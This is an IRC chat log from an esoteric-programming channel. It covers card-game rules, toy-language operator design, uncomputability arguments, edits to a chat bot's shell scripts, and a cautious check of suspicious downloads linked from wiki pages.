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22:59:12 <zzo38> "Sacrifice target player" is not possible of course. One is, it is not a permanent (unless using a variant rule I made up); other is, a cost can't target stuff as far as I know (although it should still be possible; the target must be chosen before the cost is paid)
23:01:19 <shachaf> You announce targets before you pay costs, right?
23:01:24 <shachaf> Well, you'd have to for strive etc.
23:01:37 <shachaf> So why can't the costs refer to the targets?
23:01:49 <zzo38> Yes, that is why I say it should still be possible.
23:01:55 <zzo38> Nevertheless I have not seen stuff like that
23:02:02 <shachaf> In fact strive does have a cost that refers to targets.
23:02:09 <shachaf> Oh, I didn't read the part in parentheses.
23:02:31 <shachaf> A cost can certainly refer to targets.
23:03:44 <zzo38> But does a cost target stuff; that is a bit different? Nevertheless it does not seem to be prohibited by the rules.
23:04:52 <shachaf> ell, I didn't see the context.
23:05:12 <shachaf> But I see what you mean, there's no good phrasing to make it work.
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23:12:37 <int-e> zzo38: I guess it should say "sacrifice a player:" instead of using the "target" keyword; this is in line with existing "sacrifice a <foo>:" costs.
23:12:58 <shachaf> Yes, that's the usual phrasing.
23:13:16 <shachaf> If it said "sacrifice another player:", would that indicate a player other than its controller?
23:16:49 <zzo38> Yes, but you would still have to control that other player I think.
23:16:59 <zzo38> And anyways the other player is not a permanent so it doesn't work anyways
23:25:50 -!- oerjan has joined.
23:28:58 <oerjan> Taneb: happy birthday!
23:29:36 -!- boily has joined.
23:32:43 <int-e> (personally I hate those annual reminders that time is passing, that the clock is constantly ticking)
23:34:50 <int-e> Time is an illusion; lunch time, doubly so. (D.Adams, modulo memory faults)
23:36:45 <int-e> Mostly punctuation. "Time is an illusion. Lunchtime doubly so."
23:37:36 <int-e> And I forgot the reply. '"Very deep," said Arthur, "you should send that in to the Reader's Digest. They've got a page for people like you."'
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23:40:15 <int-e> I don't know. It's in the beginning of volume 1 around the point Earth gets destroyed; Ford has just ordered Arthur 3 pints of beer.
23:40:41 <Jafet> The Earth gets destroyed in the Reader's Digest?
23:41:08 <int-e> Jafet: But this is about the Hitch Hiker's Guide to the Galaxy.
23:42:42 <Taneb> int-e: shachaf may have been talking about the page for people like Ford
23:42:49 <Taneb> I'd go with the obituraries
23:43:02 <Taneb> Does the Readers' Digest have obituraries?
23:43:04 <int-e> Taneb: hmm, didn't think of that
23:43:05 <fizzie> We've got (well, had; I think the roof collapsed where they were) some old (1950s?) issues of the Reader's Digest fi-localized version (Valitut Palat).
23:43:16 <fizzie> I remember they had lots of predictions for the future.
23:43:37 <fizzie> We're past all those dates, and for some reason not quite all cities are enclosed in bubbles yet.
23:44:12 <int-e> Instead we have Google bubbles, Apple buggles; I'm sure there are Bing bubbles as well...
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23:45:47 <int-e> Ah yes, Douglas Adams again. "I really didn't foresee the Internet. But then, neither did the computer industry. Not that that tells us very much of course--the computer industry didn't even foresee that the century was going to end."
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23:49:44 <hppavilion[1]> I'm calling the idea Assignment Overloading. It's stupid, and potentially useless, but would lead to some fun programming things and interesting new design patterns
23:49:46 <oerjan> `le/rn ☃/Frosty the Snowman / had a very shiny nose / And everywhere that Frosty went / the nose was sure to go.
23:50:13 <HackEgo> Frosty the Snowman / had a very shiny nose / And everywhere that Frosty went / the nose was sure to go.
23:50:35 <HackEgo> #!/bin/bash \ [[ "$1" = */* ]] || exit \ topic=$(echo "$1" | lowercase | cut -d / -f 1) \ [ -z "$topic" ] && exit 1 \ value=$(echo "$1" | cut -d / -f 2-) \ echo "$value" > wisdom/"$topic" && echo "Learned «$topic»"
23:51:13 <HackEgo> [U+00AB LEFT-POINTING DOUBLE ANGLE QUOTATION MARK] [U+2E03 RIGHT SUBSTITUTION BRACKET] [U+00BB RIGHT-POINTING DOUBLE ANGLE QUOTATION MARK]
23:51:37 <HackEgo> le/rn: symbolic link to `../bin/slashlearn'
23:51:45 <HackEgo> bin/slashlearn: Bourne-Again shell script, UTF-8 Unicode text executable
23:53:25 <int-e> `` echo ☃ | lowercase
23:53:46 <HackEgo> #!/bin/bash \ tr A-ZØ a-zø
23:56:09 <oerjan> `` sed -i '2ctr A-Z a-z' bin/lowercase
23:56:46 <HackEgo> Ørjan is oerjan's good twin. He's banned in the IRC RFC for being an invalid character. Sometimes he publishes papers.
23:56:56 <HackEgo> #!/bin/sh \ topic=$(echo "$1" | lowercase | sed "s/noo\+dl/nooodl/;s/ *$//") \ topic1=$(echo "$topic" | sed "s/s$//") \ cd wisdom \ if [ \( "$topic1" = "ngevd" \) -a \( -e ngevd \) ]; \ then cat /dev/urandom; \ elif [ -e "$topic" ]; \ then cat "$topic" | rnooodl; \ elif [ -e "$topic1" ]; \ then cat "$topic1" | rnooodl; \
23:57:13 <int-e> `ln -s ørjan wisdom/Ørjan
23:57:14 <HackEgo> ln: invalid option -- ' ' \ Try `ln --help' for more information.
23:57:22 <int-e> `` ln -s ørjan wisdom/Ørjan
23:57:27 <oerjan> oh right it accidentally *would* have worked previously
23:57:40 <oerjan> int-e: i have a better idea
23:57:44 <int-e> `` mv wisdom/⸃ wisdom/☃
23:58:12 <shachaf> `` sed 's/Z/ZØ/; s/z/zø/' bin/lowercase
23:58:12 <HackEgo> #!/bin/bash \ tr A-ZØ a-zø
23:58:15 <shachaf> `` sed -i 's/Z/ZØ/; s/z/zø/' bin/lowercase
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23:58:32 <oerjan> shachaf: um that's precisely what we *undid* you fool
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23:58:46 <shachaf> look i wasn't paying attention to all that scrollback
23:58:54 <HackEgo> rm: cannot remove `/home/hackbot/hackbot.hg/multibot_cmds/env/.hg/store/data/canary.orig': Is a directory \ Done.
23:59:28 <shachaf> oerjan: my screen is so messed up from all these unicode characters that i can barely tell what's going on in here tdnh
23:59:36 <oerjan> `` sed -i "s/z/z | sed 's/Ø/ø/g'" bin/lowercase
23:59:36 <HackEgo> sed: -e expression #1, char 16: unknown option to `s'
00:00:04 <HackEgo> http://codu.org/projects/hackbot/fshg/index.cgi/file/tip/bin/lowercase
00:00:16 <oerjan> `` sed -i 's/z/z | sed "s/Ø/ø/g"' bin/lowercase
00:00:17 <HackEgo> sed: -e expression #1, char 16: unknown option to `s'
00:00:19 <shachaf> also calling people fools is kind of rude
00:00:29 <int-e> don't nest slashes!
00:01:01 <oerjan> `` sed -i "s!z!z | sed 's/Ø/ø/g'!" bin/lowercase
00:01:10 <HackEgo> #!/bin/bash \ tr A-Z a-z | sed 's/Ø/ø/g'
00:01:20 -!- Melvar has quit (Ping timeout: 272 seconds).
00:01:23 <oerjan> `` echo Ørjan | lowercase
00:01:44 <HackEgo> Frosty the Snowman / had a very shiny nose / And everywhere that Frosty went / the nose was sure to go.
00:02:50 -!- gniourf has quit (Ping timeout: 240 seconds).
00:02:56 <HackEgo> Ø escaped due to a sensitive case bug
00:04:23 -!- Melvar` has quit (Ping timeout: 264 seconds).
00:05:03 -!- gniourf has joined.
00:05:25 <int-e> `` shopt -s globstar; echo **/*Ø*
00:05:56 -!- Melvar has joined.
00:07:11 <int-e> `` shopt -s globstar dotglob; echo **/*Ø*
00:07:32 <int-e> darn, how does mercurial escape those...
00:08:12 <int-e> `` shopt -s globstar dotglob; echo **/~c3~*
00:08:14 <oerjan> are you sure there's more than one
00:08:18 <HackEgo> .hg/store/data/wisdom/~c3~85.i .hg/store/data/wisdom/~c3~98.i .hg/store/data/wisdom/~c3~98rjan.i .hg/store/data/wisdom/~c3~a5.i .hg/store/data/wisdom/~c3~b8.i .hg/store/data/wisdom/~c3~b8l.i .hg/store/data/wisdom/~c3~b8rjan.i
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00:09:23 <int-e> oerjan: I thought, wrongly, that it should bring up the .hg stored version (but it's .hg/store/data/wisdom/~c3~98.i)
00:10:45 <int-e> oh, s/bring up/turn up/
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00:16:49 <HackEgo> Ørjan is oerjan's good twin. He's banned in the IRC RFC for being an invalid character. Sometimes he publishes papers.
00:21:00 <boily> Tanelle. I'm drinking a mysterious cola. It's not even Fentimans!
00:23:56 <zzo38> I thought of some really strange kind of thing, which would be 6502 codes mixed with SQL codes; you could redefine one of the unstable opcodes to now mean executing a SQL code. You can store register/memory in virtual table.
00:25:21 <shachaf> zzo38: What do you think of SQL and category theory?
00:28:35 <zzo38> Do you mean to use together? I don't know.
00:29:11 <shachaf> I mean category theory as describing SQL codes.
00:29:31 <shachaf> For example what's-it-called-joins as pullbacks.
00:30:20 <zzo38> I don't really know much about that, although I suppose it can be possible.
00:35:38 <zzo38> As I said, I don't know!
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00:41:34 <shachaf> I meant which "it" can be possible.
00:47:19 <boily> I say I don't know // I say you don't know ♪à
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01:01:37 <zzo38> hppavilion[1]: A bit; what stuff do you have to say about it (other than just that)?
01:02:08 <zzo38> Alpha Lightning Bolt + R&D's Secret Lair = You are allowed to target the battlefield. May be used if you have a lot of stuff to create creature tokens with.
01:02:55 <shachaf> R&D's Secret Lair is banned.
01:03:27 <zzo38> But if you are playing Un-cards then you can ignore that!
01:03:43 <shachaf> But if you are playing Un-cards then you can also ignore all errata.
01:04:32 <zzo38> Revised Fork + R&D's Secret Lair = Some people say it copies twice; I don't believe it. The first part has no chance to do anything as the spell has changed by that time. Modes remain the same, but you can change target, division, and you have to pay the original spell's cost rather than {RR}.
01:04:44 <boily> playing the Uns implies ignoring errata? I fail to grasp the link.
01:05:02 <zzo38> R&D's Secret Lair implies ignoring errata. Un-cards themselves have no errata though.
01:05:26 <shachaf> Therefore many of them make no sense.
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01:06:17 <zzo38> If original spell was paid Phyrexian mana costs by life points or by mana, you must pay in the same way; also with hybrid mana symbol you must use the same colors, but you can still change what color is used for generic mana costs.
01:07:05 <zzo38> (Of course the rules aren't really meant to work with such thing at all. I just say what seems closely to the rules to me.)
01:09:00 <hppavilion[1]> zzo38: It's a pretty interesting idea. Not sure exactly how you would implement it in languages that don't have this one lexical feature though
01:09:48 <hppavilion[1]> The "Lexical Feature" I refer to is the ability to convert arbitrary strings into a name. In my language, codenamed "Castor", names can contain arbitrary symbols if their first and last two characters are _s
01:10:04 <hppavilion[1]> Which creates this feature for operator overloading:
01:10:26 <hppavilion[1]> To redefine +, for example, in a class, you give the class a method of the following form:
01:10:42 <zzo38> In SQL any name containing wrong symbols or reserved words require quotation marks
01:11:09 <hppavilion[1]> zzo38: That's another way to implement that feature
01:11:30 <zzo38> (Otherwise the quotation marks are optional)
01:11:33 <hppavilion[1]> (the alternative, competing syntax in Kastor (correct spelling, got it wrong earlier) that I think is better is __op_+__
01:12:26 <hppavilion[1]> But to define assignment overloading, you define the __op_assign__ or __op_assign_:__ method, where : can be any operator
01:12:59 <hppavilion[1]> Assignment overloading takes three variables; I call them self, other, and vars
01:13:42 <hppavilion[1]> self is the thing on the lhs of an assignment expression, other is the value it should be assigned to, and vars is a dict representing the entirety of the program's namespace. Yeah.
01:14:35 <zzo38> I did have a way to override assignment operator, in a variant of C, but work entirely differently. Rather, if a variable "x" has a type "A" then the definition of the type can override what "*x=y;" means, but "x=y;" cannot be overridden.
01:14:52 <hppavilion[1]> So you could, for example, define a thue-like sublanguage by defining __op_assign_::__ for string as adding a new rule to an object variable in the global namespace
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01:22:02 <boily> QUINTHELLOPIAAAAA!
01:22:23 <quintopia> i didnt miss you because i logged on at work
01:22:57 <quintopia> lemme know if you wanna do any gaming in the coming weeks
01:23:01 <\oren\> operator overloading is a socialist plot
01:23:57 <boily> socialism is good.
01:23:58 <\oren\> also it's annoying when there aren't enough operators
01:24:03 <quintopia> this is a socialist plot: https://allfreedomismoral.files.wordpress.com/2013/12/inequality-graph-2a-socialism.jpg
01:26:49 <\oren\> for example, if someone defines + and = but doesn't do +=
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01:31:32 <hppavilion[1]> I've created a special case of Operator Overloading called "Assignment Overloading"
01:32:42 <hppavilion[1]> \oren\: It IS annoying why there aren't enough operators, which is why in Kastor, you can just make up operators!
01:33:10 <hppavilion[1]> In the lexer, anything that isn't composed of characters otherwise reserved is an operator
01:33:32 <hppavilion[1]> For example, you can define mingle to be $ such that you can actually call a$b
01:34:09 <hppavilion[1]> You just do it by defining the __op_$__ method for the type of the left-hand argument
01:34:42 <fizzie> > let a $ b = 17*a + b in 12$34
01:35:23 <hppavilion[1]> (I can't figure out any way to define unary or ternary operators thus far short of a separate file indicating which is which)
01:35:56 <hppavilion[1]> (OR parsing each line immediately before it's executed, but that's just stupid and forms a problem on complex statements)
01:36:55 <hppavilion[1]> \oren\: Another thing the language's semantics will do is make a += b equal a = a+b if not otherwise defined in __op_inline_+__
01:38:15 <fizzie> I seem to recall Perl 6 also added custom operators.
01:38:27 <fizzie> And some other language in some really limited form.
01:41:28 <fizzie> Can't figure out what I'm thinking of for the last part.
01:45:54 <HackEgo> [wiki] [[Postfix notation]] http://esolangs.org/w/index.php?diff=45081&oldid=22128 * Hppavilion1 * (+1150) Example implementation
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01:48:27 <hppavilion[1]> Wikipedia's example of infix notation in the english language, on https://en.wikipedia.org/wiki/Affix, is "Minne⟨flippin'⟩sota"
01:49:46 <fizzie> Perl 6 custom operators come in infix, prefix, postfix, circumfix and postcircumfix "categories".
01:51:55 <fizzie> Postcircumfix is stuff like "123 < 456 >" -- you have an opening and a closing symbol, and the whole thing is postfix to another expression.
01:52:27 <fizzie> You define them by mentioning the category in the operator definition.
01:52:38 <hppavilion[1]> (I just remembered my other idea for defining custom operators with fixities was to make operators have a syntactic marker; e.g. programmer-defined prefix operators would be of the syntax /.*:/
01:53:10 <hppavilion[1]> fizzie: Oh. Um. Not sure how to implement that without parsing each line just before execution.
01:54:28 <fizzie> It also has a relative precedence thing, you can say your new operator "is tighter" or "is looser" than an existing operator, and it'll make it an operator that's the nearest but tighter/looser than the one you refer to.
01:55:47 <fizzie> And set associativity to any one out of five options (left, right, non, chain and list), because FLEXIBILITY.
01:55:49 <hppavilion[1]> Well I think I'll either exclude non-in fixities entirely, have a .meta file defining it (which I'd like to avoid), or make different operator types have lexical features that indicate their fixity
01:56:22 <hppavilion[1]> I already was planning on having a thing called "shewuts" which are checked before anything is done with the program
01:57:01 <hppavilion[1]> For example, to tell the interpreter your program operates on a call queue as opposed to a stack, you do #?call-style:queue
01:57:41 <hppavilion[1]> I could have shewuts be used to define operator fixities and associativities!
01:58:14 <hppavilion[1]> (Of couse, this all means the language is unexpressable in BNF, as the BNF is determined by the program itself)
02:00:27 <hppavilion[1]> Did anyone view my code example for semi-thue systems in Kastor?
02:02:44 <fizzie> Wow, this Perl6 "chain" fixity is pretty strange.
02:03:31 <fizzie> If you define ! with chain fixity, then $a ! $b ! $c ! $d gets interpreted as ($a ! $b) and ($b ! $c) and ($c ! $d) and your operator procedure gets passed all those individual pairs.
02:05:07 <fizzie> ('list' associativity passes all four to the operator at once, and the rest are the usual ones.)
02:15:16 <boily> meanwhile, fungot the abyss. just got recast into it right after finding an exit.
02:15:16 <fungot> boily: people keep asking, do your people wake up in time, please, please.... strange circumstances really... not surprised? tell us--are you really care that you are
02:18:06 <boily> AAAAAAAAAAAAAAAARGH!
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02:20:47 <fizzie> fungot: I know you are, but what am I?
02:20:47 <fungot> fizzie: putain mais quelle bande de cons....... y else would there b passengers on this one out of 130 on board.
02:21:36 <fizzie> fungot: Can't argue with that, but mostly due to the language barrier.
02:21:36 <fungot> fizzie: not in a positive way, he'll just try to land, i see the
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02:24:23 <oerjan> <fizzie> Wow, this Perl6 "chain" fixity is pretty strange. <-- um isn't that basically the same as python's relational operators
02:25:07 <fizzie> Maybe? I haven't defined any Python operators. Or at least many.
02:25:35 <fizzie> Makes sense for short-circuiting though, that's true.
02:26:01 <oerjan> no, i mean, how the builtins like < <= work
02:26:47 <boily> fungot: depuis quand tu chaînes des explétifs en français?
02:26:47 <fungot> boily: this trailer makes him look a demon is taking his soul away to hell up and the louisiana area. much of hollywoodian happy endings. max payne
02:27:43 <fizzie> fungot: What's the difference between those two?
02:27:43 <fungot> fizzie: project not yet rated!
02:27:50 <oerjan> are those the only options now
02:29:02 <fizzie> oerjan: Yes, it's for load-balancing.
02:29:16 <quintopia> Aren't you normally in bed by now Mr. Boily?
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02:36:09 <boily> quintopia: what would make you believe that? that's preposterous! unpossible!
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06:19:59 <zzo38> Have you ever defined an output routine in TeX? Have you ever defined an insertion class in TeX? Have you ever implemented any kind of parser in TeX? Have you ever made up your own font with METAFONT?
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06:26:47 <zzo38> One use of insertion classes is as a substitute for \write when you are not shipping out the page. But I think it could be used to create vertical discretionary breaks too, with a bit of tricks.
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06:42:07 <HackEgo> [wiki] [[CASTLE]] N http://esolangs.org/w/index.php?oldid=45082 * Quintopia * (+10880) I've been sitting on this for like a year and a half, so I finally got around to writing it up
06:42:40 <HackEgo> [wiki] [[Language list]] http://esolangs.org/w/index.php?diff=45083&oldid=45077 * Quintopia * (+13) /* C */
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07:12:41 <HackEgo> [wiki] [[Hello world program in esoteric languages]] http://esolangs.org/w/index.php?diff=45084&oldid=45035 * Bexandre * (+159) /* Leszek */
07:13:29 <HackEgo> [wiki] [[Hello world program in esoteric languages]] http://esolangs.org/w/index.php?diff=45085&oldid=45084 * Bexandre * (-72) /* Licorne */
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08:35:11 <HackEgo> [wiki] [[Template:Vertical line]] N http://esolangs.org/w/index.php?oldid=45086 * 117.10.152.53 * (+5) Created page with "{{!}}"
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09:29:26 <b_jonas> documentation says "These settings can be overridden, but the defaults are usually sensible. If the default values listed below are ok for you, you can stop reading now." -- uh, if I read the values listed below, then I'll no longer be able to stop reading now.
09:29:32 <b_jonas> How do I tell if I should stop reading now?
09:32:31 <izabera> have a friend read them for you
09:35:20 <b_jonas> it even specifically says "stop reading", which doesn't even allow for the possibility to read on and then forget what I've read with mind magic (eg. a Thought Nibbler)
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10:07:01 <mroman> I don't trust those articles with media(files|fire) downloads of .exe's
10:13:28 <b_jonas> mroman: what articles is this you are talking about? articles where?
10:13:50 <izabera> "here, download this virus -> http://mediafire.com/virus.exe" "i don't trust you, what if that program is actually a penis enlargement software?"
10:27:00 <fizzie> An email recently asked me to check an attached .jar file for the invoice.
10:27:27 <Taneb> Oooh, write-once-run-anywhere viri!
10:28:36 <zzo38> A .jar file is same format as .zip so you could also just open it with any program to open ZIP archives too, and then you can see what it is.
10:31:31 <fizzie> Yes. It has some rather dubious class names: http://sprunge.us/PJDY
10:31:54 <fizzie> (There's also some 0xe6 bytes between those +s that my browser's not rendering.
10:38:25 <fizzie> It looks like part of the same family as https://www.virustotal.com/en/file/61ef9b2536bca4d6fd24526c9a4ab3f8baad86ec94a54112687dd29df76d9fb6/analysis/ -- some of the details differ, but both have those stubcito.opp and textito.isn files, and slightly similar class names.
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11:18:06 <fizzie> Spotted a car with the licence plate "AI JOB". Wonder if that's about artificial intelligence.
11:19:57 <b_jonas> fizzie: what did its http headers say?
11:22:01 <fizzie> I didn't catch those, it drove past so fast.
11:22:31 <fizzie> The I might've been a 1. Don't know the local requirements for plates.
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11:25:09 <Taneb> I believe in the UK I and 1 are indistinguishable on license plates
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11:34:32 <HackEgo> [wiki] [[Brainfuck constants]] M http://esolangs.org/w/index.php?diff=45087&oldid=43702 * LegionMammal978 * (-95) Removed extra
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11:51:15 <mroman> b_jonas: http://esolangs.org/wiki/AIV for example
11:51:26 <mroman> links to http://www.mediafire.com/download/dcixadngm9lgye8/aiv.exe
11:52:15 <mroman> http://esolangs.org/wiki/User:Bexandre/Attic
11:52:22 <mroman> that interpreter has some weird encoded things in it
11:52:27 <mroman> and feeds it to CScript somehow
11:52:34 <mroman> I have not decoded yet what it actually is, though
11:52:44 <mroman> but it looks suspicious enough to not execute it without a sandbox :D
11:53:41 <mroman> http://esolangs.org/wiki/Licorne links to http://www.mediafire.com/download/8hapxc00za591ja/LicornePL.zip
11:53:46 <mroman> which contains .bat and .exe files
12:00:30 <mroman> that attic interpreter looks like a cab-combressed exe file
12:01:23 <HackEgo> [wiki] [[Licorne/Compiler]] N http://esolangs.org/w/index.php?oldid=45088 * Bexandre * (+2428) Created page with "Programmed in Batch. <pre>@echo off del "licorne.bat">nul ping 1.0.0.0 -n 1 -w 10 >nul cls echo @echo off >>licorne.bat set ln=-1 :lpl set /a ln=ln + 1 batbox /k if %errorleve..."
12:02:09 <mroman> batbox is apparentely a tool for batch to get some ncurses-like things done
12:02:49 <mroman> http://dos9.org/doc/en/html/batbox.html <- contains that snippet in the bat-file
12:04:05 <mroman> although the version in the zip-file gets detected as malicious by some AV. but those could be false positives (they also flag packers like upx sometimes)
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12:04:48 <mroman> but judging by the imports from kernel32.dll and such it's not doing anything too bad at least
12:04:59 <mroman> SetConsoleCursorInfo and the like
12:05:35 <HackEgo> [wiki] [[Special:Log/move]] move * Bexandre * moved [[Licorne/Compiler]] to [[Licorne/Writer]]
12:07:37 <HackEgo> [wiki] [[Licorne]] http://esolangs.org/w/index.php?diff=45091&oldid=45080 * Bexandre * (+43)
12:10:57 <HackEgo> [wiki] [[Licorne]] http://esolangs.org/w/index.php?diff=45092&oldid=45091 * Bexandre * (+80)
12:11:02 <mroman> According to my static analysis they are not malware
12:11:11 <HackEgo> [wiki] [[Licorne]] http://esolangs.org/w/index.php?diff=45093&oldid=45092 * Bexandre * (+1)
12:11:23 <mroman> and sandboxing yields no network traffic going on
12:16:18 <HackEgo> [wiki] [[AIV]] http://esolangs.org/w/index.php?diff=45094&oldid=45011 * Bexandre * (-20)
12:16:42 <HackEgo> [wiki] [[Licorne]] http://esolangs.org/w/index.php?diff=45095&oldid=45093 * Bexandre * (+7)
12:23:15 <boily> who is this Bexandre dude and why aren't they Blexandre? does it mean there'll be a Clexandre and then a Dlexandre?
12:28:49 <boily> my feeling is that they aren't suspicious. just distributingly misguided.
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12:30:57 <Taneb> @tell I think Blexandre is friends with Tanea
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12:40:40 <oerjan> Taneb: i think i might be confused tdnh
12:40:50 <HackEgo> Tanea plays Minecrafs, Dware Fortresr, and lives in Yorj.
12:42:45 <oerjan> --- quit: boily (Quit: POLEVAULTING CHICKEN) <-- polevaulting always reminds me of the FRC Hellympics round
12:43:35 <Taneb> boily who is this Bexandre dude and why aren't they Blexandre? does it mean there'll be a Clexandre and then a Dlexandre?
12:44:47 <Taneb> I did accidentally tell I
12:45:08 <Taneb> @tell boily I think Blexandre is friends with Tanea
12:45:09 <lifthrasiir> Taneb: why isn't that "Tanea playr Minecrafs, Dware Foresr, anc liver im Yorj."?
12:45:27 <Taneb> lifthrasiir: because playr isn't a word hth
12:46:03 <HackEgo> Tanea plays Minecrafs, Dware Fortresr, and lives in Yorj.
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13:26:59 <HackEgo> [wiki] [[Licorne]] http://esolangs.org/w/index.php?diff=45096&oldid=45095 * Bexandre * (+4)
13:27:24 <HackEgo> [wiki] [[Hello world program in esoteric languages]] http://esolangs.org/w/index.php?diff=45097&oldid=45085 * Bexandre * (+2) /* Licorne */
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14:19:42 <izabera> did you guys ever play ruzzle?
14:20:00 <izabera> ok it's a game that you play on a grid with letters
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14:20:16 <izabera> and you have to find words in it
14:21:21 <int-e> as in, https://en.wikipedia.org/wiki/Boggle
14:22:55 <izabera> what if you had to find the longest path of unique letters?
14:23:16 <izabera> if there's more than one, finding only one is fine
14:23:25 <izabera> i mean more than one longest path
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14:57:01 <b_jonas> izabera: the 4x4 or the big 5x5 version?
14:57:41 <b_jonas> uh... what set of cubes does the NxN have?
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15:07:18 <HackEgo> [wiki] [[Postfix notation]] http://esolangs.org/w/index.php?diff=45098&oldid=45081 * Mroman * (+188) /* Implementation */ adding a simple implementation in Haskell
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15:35:33 <mroman> any guys any ideas about how to calculate the maximum number a bf program of length N can possibly compute?
15:36:29 <mroman> otherwise the answer would be 255
15:36:38 <mroman> because you can always just do a -
15:37:20 <izabera> it was unclear if you only wanted to store a value in a cell or to print any large number
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15:41:07 <izabera> ok well, at least one can produce a reasonable lower bound
15:47:05 <oerjan> mroman: that's pretty obviously noncomputable in the same way as busy beaver.
15:47:10 <mroman> I think you might need to answer what the steepest growing function is
15:47:15 <mroman> and I think that can't really be done
15:47:43 <mroman> at least for larger Ns
15:47:54 <oerjan> i assume you want it to halt, otherwise +[+] already wins.
15:48:02 <mroman> for shorter Ns you could argue that the best you can do is an exponentation
15:48:28 <oerjan> mroman: anyway, i said it's uncomputable and i meant it.
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15:51:04 <oerjan> in the usual way: if you had a way to compute it, you could solve the halting problem.
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15:53:37 <oerjan> (step 1: wrap your program to calculate the number of steps it takes if it halts. step 2: compute your largest number for the wrapped program length. 3: run your original program for the calculated number of steps; if it hasn't halted then, it never will.)
15:55:27 <oerjan> s/the calculated number of steps/a number of steps as calculated in step 2/
15:55:51 * oerjan used the word "step" for too many steps here
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15:56:17 <fizzie> fungot: Step step step step step.
15:56:17 <fungot> fizzie: this looks great. making it a wireles landing so why do u use for editng? adobe?
16:08:55 <fungot> b_jonas: grandtheftauto4films ( 11 godz. temu) komentarz usuniêty przez autora it likely takes place. i saw this accident happened in june 1988, air france
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17:04:40 <mroman> @tell oerjan technically the algorithm could produce wrong results for programs that don't halt.
17:05:19 <mroman> @tell oerjan So when the algorithm replies with N=1024, it is only correct if and only if the program terminates.
17:05:44 <mroman> @tell oerjan which means you couldn't solve the halting problem with that.
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17:23:19 <fizzie> That N there is the largest number achievable by a program of some given length L?
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17:25:28 <fizzie> Then I don't see why oerjan's argument would be faulty. If the tested program hasn't halted in that many steps, it will never halt, because if it did, your algorithm would've given an incorrect result for a program that did halt, and you said it's correct for all programs that halt.
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17:57:59 <GoToTell_> One day it will say "(Quit: Lost terminal dissease) for someone and nobody will know how to deal with that.
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18:07:59 <izabera> http://www.pornhub.com/insights/what-women-want/ not so nsfw
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20:10:37 <HackEgo> [wiki] [[FrancePROG]] N http://esolangs.org/w/index.php?oldid=45099 * Bexandre * (+1172) Created page with "'''FrancePROG''' is a [[wikipedia:Non-English-based programming languages|french]] ''[http://bexandre.alwaysdata.net/FrancePROG.zip assisted]'' Programming Language|programm..."
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20:11:08 <HackEgo> [wiki] [[FrancePROG]] http://esolangs.org/w/index.php?diff=45100&oldid=45099 * Bexandre * (+0) /* Hello world */
20:12:05 <HackEgo> [wiki] [[Special:Log/newusers]] create * Nalaek2004 * New user account
20:12:07 <HackEgo> [wiki] [[Hello world program in esoteric languages]] http://esolangs.org/w/index.php?diff=45101&oldid=45097 * Bexandre * (+184) /* FRAK */
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20:12:33 <HackEgo> [wiki] [[Hello world program in esoteric languages]] http://esolangs.org/w/index.php?diff=45102&oldid=45101 * Bexandre * (+4) /* FrancePROG */
20:13:31 <HackEgo> [wiki] [[FrancePROG]] http://esolangs.org/w/index.php?diff=45103&oldid=45100 * Bexandre * (+3)
20:13:44 <HackEgo> [wiki] [[FrancePROG]] http://esolangs.org/w/index.php?diff=45104&oldid=45103 * Bexandre * (+7)
20:34:15 <HackEgo> [wiki] [[GHOST]] N http://esolangs.org/w/index.php?oldid=45105 * Nalaek2004 * (+1379) Created page with "== WARNING == This is my first page, i worked really hard on it. Sorry if its bad :D == GHOST == GHOST (Ghost holes of spoon tables) is a programming language developed by nal..."
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20:59:32 <HackEgo> [wiki] [[FrancePROG]] http://esolangs.org/w/index.php?diff=45106&oldid=45104 * Bexandre * (+207)
21:02:09 <HackEgo> [wiki] [[FrancePROG]] http://esolangs.org/w/index.php?diff=45107&oldid=45106 * Bexandre * (+6)
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21:27:50 <b_jonas> if I'm reading this right, there's a serious bug here
21:30:41 <b_jonas> this would cause the whole thing to be inconsistent, unless that function is not actually used, and there's a _real_ function somewhere
21:30:49 <b_jonas> I'll have to test this later
21:31:20 <b_jonas> And it's not even easy to fix.
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23:13:44 <lambdabot> mroman said 6h 9m 4s ago: technically the algorithm could produce wrong results for programs that don't halt.
23:13:44 <lambdabot> mroman said 6h 8m 25s ago: So when the algorithm replies with N=1024, it is only correct if and only if the program terminates.
23:13:44 <lambdabot> mroman said 6h 7m 59s ago: which means you couldn't solve the halting problem with that.
23:16:55 <oerjan> @tell mroman what fizzie said
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23:17:16 <oerjan> suits me right for trying to be brief...
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23:47:01 <oerjan> > nubBy (\x y -> x `rem` y == 0) $ [2..]
23:47:03 <lambdabot> [2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29...
23:59:10 <oerjan> (apparently they fixed the bug where ghc used a different argument order for nubBy than the haskell report)
23:59:34 <HackEgo> [wiki] [[Mothership]] N http://esolangs.org/w/index.php?oldid=45108 * 70.176.104.17 * (+205) Created page with "=Mothership= This page was created to reserve the name and page. More information on the language to be added later, but here is the repository: [https://github.com/GamrCorps/..."
23:59:52 <HackEgo> [wiki] [[Mothership]] http://esolangs.org/w/index.php?diff=45109&oldid=45108 * 70.176.104.17 * (-13) /* Mothership */
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00:08:21 <quintopia> i need valudation (and suggestions and corrections)
00:08:58 <oerjan> sorry, my wiki reading is only up to Sep 5 hth
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00:12:10 <zzo38> I found a program to implement an alternative version of popen() called popen_noshell(), which is faster and is accepting the argv array instead of using the shell.
00:37:47 <quintopia> i understand the most important part of a language is a good name, but something about adding a language to the language list without even a basic spec irks me
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00:48:29 <Jafet> Valutations, quintopia.
00:50:09 <tswett> So there's this one theorem. I'm thinking about how to go about proving it.
00:50:20 <tswett> Given a natural number n, the n-fold successor of 1 is the successor of n.
00:50:46 <quintopia> would seem to require indiction eh
00:51:12 <quintopia> pretty straightforward induction actually
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00:51:34 <Jafet> An indictment would be an interesting legal interdiction
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00:52:08 <tswett> So, let's see. We've got a function f and a function... succ.
00:52:22 <tswett> f is defined inductively like so: f(zero) = succ(zero), f(succ(n)) = succ(f(n)).
00:52:34 <tswett> I desire to prove that f = succ.
00:56:53 <Phantom_Hoover> so what stupid restriction have you put on yourself to make that hard
00:58:43 <tswett> The restriction is that there's no ambient logic.
00:59:10 <oerjan> ooh http://www.scottaaronson.com/blog/?p=2521
01:00:39 <tswett> I mean, there are some deductions that happen automatically.
01:00:57 <oerjan> yeah that's how i pay most of my taxes
01:01:11 <tswett> There are identity functions. You can compose functions. Composition is associative. Equality obeys reflexivity, symmetry, transitivity, blah blah.
01:01:16 <oerjan> (actually, all of them, recently)
